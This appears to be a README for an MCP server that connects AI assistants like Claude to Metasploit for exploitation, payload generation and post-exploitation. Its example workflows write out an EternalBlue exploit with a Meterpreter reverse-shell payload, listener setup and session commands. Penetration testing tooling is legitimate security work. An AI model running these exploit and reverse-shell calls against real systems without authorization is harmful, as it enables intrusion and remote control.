Provides a bridge to the Metasploit Framework penetration testing platform, enabling exploitation workflows, payload generation and execution, post-exploitation tools, listener management, and auxiliary module support.
Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
Features
Module Information
list_exploits: Search and list available Metasploit exploit modules
list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
run_exploit: Configure and execute an exploit against a target with options to run checks first
run_auxiliary_module: Run any Metasploit auxiliary module with custom options
run_post_module: Execute post-exploitation modules against existing sessions
Payload Generation
generate_payload: Generate payload files using Metasploit RPC (saves files locally)
Session Management
list_active_sessions: Show current Metasploit sessions with detailed information
send_session_command: Run a command in an active shell or Meterpreter session
terminate_session: Forcefully end an active session
Handler Management
list_listeners: Show all active handlers and background jobs
start_listener: Create a new multi/handler to receive connections
stop_job: Terminate any running job or handler
Prerequisites
Metasploit Framework installed and msfrpcd running
Python 3.10 or higher
Required Python packages (see requirements.txt)
Installation
Clone this repository
Install dependencies:
pip install -r requirements.txtConfigure environment variables (optional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Usage
Start the Metasploit RPC service:
Transport Options
The server supports two transport methods:
HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections
You can explicitly select the transport mode using the --transport
flag:
Additional options for HTTP mode:
Claude Desktop Integration
For Claude Desktop integration, configure claude_desktop_config.json
:
Other MCP Clients
For other MCP clients that use HTTP/SSE:
Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Configure your MCP client to connect to:
SSE endpoint:
http://your-server-ip:8085/sse
Security Considerations
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
Always validate and review all commands before execution
Only run in segregated test environments or with proper authorization
Be aware that post-exploitation commands can result in significant system modifications
Example Workflows
Basic Exploitation
List available exploits:
list_exploits("ms17_010")
Select and run an exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
List sessions:
list_active_sessions()
Run commands:
send_session_command(1, "whoami")
Post-Exploitation
Run a post module:
run_post_module("windows/gather/enum_logged_on_users", 1)
Send custom commands:
send_session_command(1, "sysinfo")
Terminate when done:
terminate_session(1)
Handler Management
Start a listener:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
List active handlers:
list_listeners()
Generate a payload:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
Stop a handler:
stop_job(1)
Configuration Options
Payload Save Directory
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder (~/payloads
or C:\Users\YourUsername\payloads
). You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsIn Claude Desktop config:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
License
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Provides a bridge between large language models and the Metasploit Framework, enabling AI assistants to access and control penetration testing functionality through natural language.
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